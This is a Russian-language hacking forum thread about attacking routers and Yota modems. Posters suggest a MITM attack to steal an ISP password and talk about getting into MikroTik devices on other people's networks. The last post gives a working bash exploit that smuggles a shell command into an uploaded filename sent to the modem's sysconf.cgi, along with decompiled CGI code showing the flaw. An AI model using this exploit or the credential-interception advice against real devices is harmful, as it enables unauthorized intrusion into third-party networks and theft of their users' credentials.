прога Router Scan

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by СЕРЖ32, 11 Nov 2013.

  1. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,688
    Likes Received:
    10,074
    Reputations:
    125
    Думаю, не составит труда поставить перехватывающий свитч между сетью провайдера и роутером.

    Устройте атаку MITM, сымитируйте проблему с инетом, и перехватите пароль. :)
     
    Triton_Mgn and sha9 like this.
  2. Oleg1772

    Oleg1772 New Member

    Joined:
    21 Dec 2015
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Что содержит в себе железка без прошивки? Можно ли вытащить что либо оттуда?
     
    #3802 Oleg1772, 4 Jul 2017
    Last edited: 4 Jul 2017
  3. sha9

    sha9 Well-Known Member

    Joined:
    25 Sep 2015
    Messages:
    562
    Likes Received:
    733
    Reputations:
    2
    думал над этим.но хотелось-бы попроще.не привлекая внимание провайдера:)
     
    Triton_Mgn likes this.
  4. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,688
    Likes Received:
    10,074
    Reputations:
    125
    Процессор (чаще MIPS, реже ARM) + оперативка + постоянная память (разделена на части: загрузчик/прошивка/конфиг) + WLAN чип (иногда интегрирован в процессор) + аппаратный коммутатор + другие опциональные интерфейсы, например USB. И всё это распаяно на материнке, у которой бывает консольный отладочный порт и/или JTAG.
     
    Veil, Triton_Mgn and sha9 like this.
  5. Oleg1772

    Oleg1772 New Member

    Joined:
    21 Dec 2015
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    А может производитель оставить бэкдор там?
     
  6. V777

    V777 Elder - Старейшина

    Joined:
    12 May 2015
    Messages:
    1,143
    Likes Received:
    2,230
    Reputations:
    24
    RouterOS v6.33.2 к ним есть какие єксплоиты ?
     
  7. sha9

    sha9 Well-Known Member

    Joined:
    25 Sep 2015
    Messages:
    562
    Likes Received:
    733
    Reputations:
    2
    не все. иначе-бы АНБ не разрабатывало инструмент взлома роутеров о котором говорилось несколькими постами выше, и который выложила в паблик шадоу брокер. и китайцы точно уж не переводили-бы роутерскан на китайский язык, а тем более не использовали его для демонстрации уязвимостей на своих конференциях по безопасности.
     
  8. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,688
    Likes Received:
    10,074
    Reputations:
    125
    Чисто технологически, в подобном железе трудно оставить бекдоры. Роутерные процессоры в разы слабее компьютерных, и заточены под RISC архитектуры, описанные выше.
    Удваиваю вопрос.
     
  9. sha9

    sha9 Well-Known Member

    Joined:
    25 Sep 2015
    Messages:
    562
    Likes Received:
    733
    Reputations:
    2
    это микротик? в паблике только два (или три) и все связаны только с дос
     
    Triton_Mgn likes this.
  10. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    594
    Likes Received:
    3,652
    Reputations:
    171
  11. V777

    V777 Elder - Старейшина

    Joined:
    12 May 2015
    Messages:
    1,143
    Likes Received:
    2,230
    Reputations:
    24
    Да, это микротик
     
    sha9 likes this.
  12. sha9

    sha9 Well-Known Member

    Joined:
    25 Sep 2015
    Messages:
    562
    Likes Received:
    733
    Reputations:
    2
    терпеть ненавижу их . в чужих сетях. давно ищу способ до них добраться.
     
    V777 and Triton_Mgn like this.
  13. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,688
    Likes Received:
    10,074
    Reputations:
    125
    sha9 likes this.
  14. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,644
    Likes Received:
    5,702
    Reputations:
    51
    Дело в том, что мы имеем постоянные проблемы с mikrotik и ubiquiti = эх, ничего, посмотрим..
     
    binarymaster and sha9 like this.
  15. pkrw88

    pkrw88 Member

    Joined:
    30 Jun 2017
    Messages:
    21
    Likes Received:
    38
    Reputations:
    0
    не знаю, совпадение ли, но у многих модемов из выборки стоит проброс портов к кинетикам
     
    binarymaster and sha9 like this.
  16. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,688
    Likes Received:
    10,074
    Reputations:
    125
    По-моему у тех есть USB порты, через который как раз запитывается Yota-модем, раздающий инет.
     
    sha9 likes this.
  17. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,688
    Likes Received:
    10,074
    Reputations:
    125
    sha9, Triton_Mgn and Felis-Sapiens like this.
  18. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    594
    Likes Received:
    3,652
    Reputations:
    171
    О, я как раз про это место подумал, что там возможно rce есть
     
  19. exzet

    exzet Active Member

    Joined:
    26 May 2017
    Messages:
    67
    Likes Received:
    110
    Reputations:
    0
    Ага, 4 штырька - TX, RX, GND и VCC, а от туда уже по ком-порту можно вытащить все что угодно.
     
  20. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    594
    Likes Received:
    3,652
    Reputations:
    171
    Выяснилось, что нельзя
    Code:
    #!/bin/bash
    
    CPE=192.168.15.1:88
    
    PAYLOAD='$(export d=${PATH:0:1}; .${d}ssiget -l about > ${d}www${d}asp${d}temp.asp)'
    touch "${PAYLOAD}"
    curl -X POST -H 'Expect:' -H 'Connection: close' -F "file=@\"$PAYLOAD\"" "http://$CPE/cgi-bin/sysconf.cgi?page=mfg&action=12"
    rm -f "${PAYLOAD}"
    
    curl "http://$CPE/cgi-bin/sysconf.cgi?page=temp.asp&action=request"
    
    PAYLOAD='$(export d=${PATH:0:1}; rm -f ${d}www${d}asp${d}temp.asp)'
    touch "${PAYLOAD}"
    curl -X POST -H 'Expect:' -H 'Connection: close' -F "file=@\"$PAYLOAD\"" "http://$CPE/cgi-bin/sysconf.cgi?page=mfg&action=12"
    rm -f "${PAYLOAD}"
    

    PHP:
    #include <stdio.h>
    #include <strings.h>

    int main(int argc, const char **argv, const char **envp)
    {
        
    char page[52];
        
    int i, var_C;
        
    char *ptr;
       
        
    var_C = 0;
        
    ptr = get_query(stdin);
        
    init_cgi(ptr);
        ;
        
    strcpy(page, get_cgi("page"));
        
    var_48 = getenv("REMOTE_ADDR");
        
    var_44 = getenv("REQUEST_METHOD");
        if (
    strstr(page, "..") != NULL || strchr(page, "/") != NULL)
        {
            
    fwrite("Content-Type: text/html\r\n\r\n", 1, 0x1B, stdout);
            
    fwrite("Wrong Page.", 1, 0xB, stdout);
            
    init_cgi(0);
            
    free(ptr);
            return 
    0;
        }
       
        if (
    strcmp(page, "mfg") == 0)
        {
            
    sub_4014B8(stdout);
            
    init_cgi(0);
            
    free(ptr);
            return 
    0;
        }
       
        if (
    strcasecmp(get_cgi("action"), "request") == 0)
        {
            
    webs_write(page, stdout);
            
    init_cgi(0);
            
    free(ptr);
            return 
    0;
        }
       
        
    i = 0;
        while (
    1)
        {
            if (
    strcmp(page, off_41A5A0[2 * i]) == 0)
            {
                
    off_41A5A0[2 * i + 1](page, var_C, stdout);
                break;
            }
            if (
    off_41A5A0[2 * i] == 0)
                break;
            ++
    i;
        }
       
        if (
    dword_41A7C0 != 0)
            
    webs_redirect(0, "reboot", 0, stdout);
        else if (
    dword_41A7C4 != 0)
            
    system("(sleep 3 && reboot) >/dev/null 2>&1 &");
       
        if (
    page[0] != '\0')
            
    webs_redirect(0, page, var_C, stdout);
       
        
    init_cgi(0);
        
    free(ptr);
        return 
    0;
    }

    void sub_4014B8(FILE *out_stream)
    {
        
    char *action;
        
    char cmd[0x400];
       
        
    action = get_cgi("action");
        
    fwrite("Content-Type: text/html\r\n\r\n", 1, 0x1B, out_stream);
       
        if (
    strcmp(action, "11") == 0)
        {
            
    memset(cmd, 0, 0x400);
            
    sprintf(cmd, "ipkg -f %s remove telnetd > /dev/null", "/etc/conf/app/ipkg.conf");
            
    system(cmd);
        }
        else if (
    strcmp(action, "12") == 0)
        {
            
    unlink("/mnt/jffs2/ipkg/lists/openwmx");
            
    unlink("/mnt/jffs2/ipkg/lists/devicesw");
            
    unlink("/tmp/upgrade_success");
            
    ipkg_install(stdin);
        }
        else if (
    strcmp(action, "1") == 0)
        {
            
    fputs(sub_4040C0("/Yota_VERSION"), out_stream);
        }
        else if (
    strcmp(action, "16") == 0)
        {
            
    fputs(sub_404230("serial"), out_stream);
        }
        else if (
    strcmp(action, "19") == 0)
        {
            
    fputs(sub_404230("hid"), out_stream);
        }
        else if (
    strcmp(action, "20") == 0)
        {
            
    fputs(sub_404230("cid"), out_stream);
        }
        else if (
    strcmp(action, "21") == 0)
        {
            
    fputs(sub_404230("pid"), out_stream);
        }
        else if (
    strcmp(action, "22") == 0)
        {
            
    fputs(sub_404230("mid"), out_stream);
        }
        else if (
    strcmp(action, "24") == 0)
        {
            
    fputs(sub_4013B4("cd /usr/factory; ./mp_tool imei read"), out_stream);
        }
        else if (
    strcmp(action, "28") == 0)
        {
            
    fputs(sub_404230("lanaddr"), out_stream);
        }
        else if (
    strcmp(action, "29") == 0)
        {
            
    fputs(sub_404230("hostaddr"), out_stream);
        }
        else if (
    strcmp(action, "30") == 0)
        {
            
    fputs(sub_4013B4("cd /usr/factory; ./mp_tool led on"), out_stream);
        }
        else if (
    strcmp(action, "31") == 0)
        {
            
    fputs(sub_4013B4("cd /usr/factory; ./mp_tool led off"), out_stream);
        }
        else if (
    strcmp(action, "32") == 0)
        {
            
    fputs(sub_4013B4("cd /usr/factory; ./mp_tool imsi read"), out_stream);
        }
        return;
    }

    int ipkg_install(FILE *in_stream)
    {
        
    char fname[0x100], cmd[0x80], verif_res[0xA];
        
    FILE *chk_stream;
        
    int i_ret;
       
        
    chk_stream = NULL;
        
    i_ret = 1;
       
        
    update_upload_status("Downloading");
        if (
    sub_408B4C(fname, in_stream) == 0)
        {
            
    i_ret = 2;
            
    update_upload_status("DownloadFail");
            goto 
    loc_exit;
        }
       
        
    update_upload_status("Installing");
        
    sprintf(cmd, "/bin/ipkg_verify.sh %s > /dev/null", fname);
        
    system(cmd);
       
        
    chk_stream = fopen("/tmp/ipkg.chk", "r");
        if (
    chk_stream == NULL)
        {
            
    i_ret = 2;
            
    update_upload_status("InstallFail");
            goto 
    loc_exit;
        }
       
        if (
    fgets(verif_res, 0xA, chk_stream) == 0)
        {
            
    i_ret = 2;
            
    update_upload_status("InstallFail");
            goto 
    loc_exit;
        }
       
        if (
    strcmp(verif_res, "1") != 0)
        {
            
    i_ret = 2;
            
    update_upload_status("InstallFail");
            goto 
    loc_exit;
        }
       
        if (
    strstr(fname, ".ipk") != NULL)
        {
            
    sprintf(cmd, "/bin/ipkg -f /etc/conf/app/ipkg.conf install '%s' > /tmp/ipkg.log 2>&1", fname);
            
    system(cmd);
        }
        
    i_ret = 0;
       
    loc_exit:
        if (
    chk_stream != NULL)
            
    fclose(chk_stream);
        
    unlink(fname);
        return 
    i_ret;
    }

    int sub_408B4C(char *fname, FILE *in_stream)
    {
        
    int i_ret, unread_len;
        
    char boundary[0x80];
       
        
    i_ret = 0;
        if (
    sub_4085BC(fname, boundary, &unread_len, in_stream) != 0
            
    && sub_40820C(fname, boundary, unread_len, in_stream) != 0)
        {
            
    i_ret = 1;
        }
       
        if (
    i_ret == 0)
            
    unlink(fname);
        return 
    i_ret;
    }

    int sub_4085BC(char *fname, char *boundary, int *p_unread_len, FILE *in_stream)
    {
        
    int left_bytes;
        
    char *content_type, *p_name_start, *p_name_end, *p_path_delim;
        
    char buffer[0x1000];
       
        
    p_name_end = NULL;
        if (
    strncasecmp(getenv("REQUEST_METHOD"), "POST", 4) != 0)
            return 
    0;
       
        if (
    boundary != NULL)
        {
            
    content_type = getenv("CONTENT_TYPE");
            if (
    strncasecmp(content_type, "multipart/form-data; boundary=", 0x1E) != 0)
                return 
    0;
            
    sprintf(boundary, "--%s", content_type + 0x1E);
        }
       
        if (
    getenv("CONTENT_LENGTH") == NULL)
            return 
    0;
        
    left_bytes = strtoul(getenv("CONTENT_LENGTH"), 0, 0);
       
        if (
    fname != NULL)
        {
            
    memcpy(fname, "/upload/", 9);
            while (
    left_bytes != 0)
            {
                
    bzero(buffer, 0x1000);
                if (
    fgets(buffer, 0x1000, in_stream) == 0)
                    return 
    0;
                
    left_bytes -= strlen(buffer);
                if (
    strncasecmp(buffer, "Content-Disposition:", 0x14) != 0)
                    continue;
                if (
    strcasestr(buffer, "name=\"file\"") == NULL && strcasestr(buffer, "name=\"updateFwFile\"") == NULL)
                    continue;
                
    p_name_start = strstr(buffer, "filename=\"");
                if (
    p_name_start == NULL)
                    continue;
                
    p_path_delim = strrchr(p_name_start, '\\');
                if (
    p_path_delim == NULL)
                {
                    
    p_path_delim = strrchr(p_name_start, '/');
                }
                if (
    p_path_delim == NULL)
                    
    p_name_start += 0xA;
                else
                    
    p_name_start = p_path_delim + 1;
               
                
    p_name_end = strchr(p_name_start, '"');
                if (
    p_name_end != NULL)
                    *
    p_name_end = '\0';
               
                
    strcat(fname, p_name_start);
                break;
            }
        }
       
        while (
    left_bytes != 0)
        {
            if (
    fgets(buffer, 0x1000, in_stream) == 0)
                return 
    0;
            
    left_bytes -= strlen(buffer);
            if (
    strcmp(buffer, "\n") == 0)
                break;
            if (
    strcmp(buffer, "\r\n") == 0)
                break;
        }
       
        if (
    p_unread_len != NULL)
            *
    p_unread_len = left_bytes;
        return 
    1;
    }
     
    Payer, CRACK211 and binarymaster like this.